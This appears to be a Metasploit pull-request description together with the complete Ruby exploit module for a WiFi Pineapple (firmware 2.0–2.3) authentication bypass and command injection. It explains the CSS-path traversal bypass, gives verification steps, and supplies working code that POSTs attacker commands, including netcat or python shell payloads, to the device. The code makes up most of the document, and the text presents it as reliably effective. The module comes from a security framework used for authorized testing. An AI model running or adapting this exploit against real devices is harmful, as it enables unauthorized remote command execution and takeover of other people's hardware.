Land #7285, WiFi pineapple command injection via authentication bypass
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## Background
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The 'pineapple_bypass_cmdinject' exploit attacks a weak check for
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pre-authorized files (CSS files) which allows the attacker to bypass logging in
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at all and then relies on the anti-CSRF vulnerability (CVE-2015-4624) to obtain
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command injection.
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This exploit uses a utility function in
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/components/system/configuration/functions.php to execute commands once
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authorization has been bypassed.
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## Verification
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This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The
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default options are generally effective due to having a set state after being
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flashed. You will need to be connected to the WiFi pineapple network (e.g. via
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WiFi or ethernet).
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Assuming the above 2.3 firmware is installed, this exploit should always work.
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If it does not, try it again. It should always work as long as the pineapple is
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in its default configuration.
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
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'Description' => %q{
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This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
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These devices may typically be identified by their SSID beacons of 'Pineapple5_....';
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Provided as part of the TospoVirus workshop at DEFCON23.
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},
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'Author' => ['catatonicprime'],
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'License' => MSF_LICENSE,
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'References' => [ ],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' => {
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'Space' => 2048,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic python netcat telnet'
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}
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},
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'Targets' =>
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[
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[ 'WiFi Pineapple 2.0.0 - 2.3.0', {} ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 1 2015'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
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Opt::RPORT(1471),
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Opt::RHOST('172.16.42.1')
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]
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)
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deregister_options(
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'ContextInformationFile',
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'DOMAIN',
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'DigestAuthIIS',
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'EnableContextEncoding',
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'FingerprintCheck',
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'HttpClientTimeout',
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'NTLM::SendLM',
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'NTLM::SendNTLM',
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'NTLM::SendSPN',
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'NTLM::UseLMKey',
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'NTLM::UseNTLM2_session',
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'NTLM::UseNTLMv2',
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'SSL',
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'SSLVersion',
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'VERBOSE',
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'WORKSPACE',
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'WfsDelay',
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'Proxies',
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'VHOST'
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)
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end
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def cmd_uri
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normalize_uri('includes', 'css', 'styles.php', '../../..', target_uri.path)
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end
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def cmd_inject(cmd)
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => cmd_uri,
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'vars_get' => {
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'execute' => "" # Presence triggers command execution
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},
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'vars_post' => {
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'commands' => cmd
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})
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res
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end
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def check
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res = cmd_inject("echo")
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if res && res.code == 200 && res.body =~ /Executing/
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status('Attempting to bypass login/csrf checks...')
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unless check
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fail_with(Failure::NoAccess, 'Failed to bypass login/csrf check...')
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end
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print_status('Executing payload...')
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cmd_inject("#{payload.encoded}")
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end
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end
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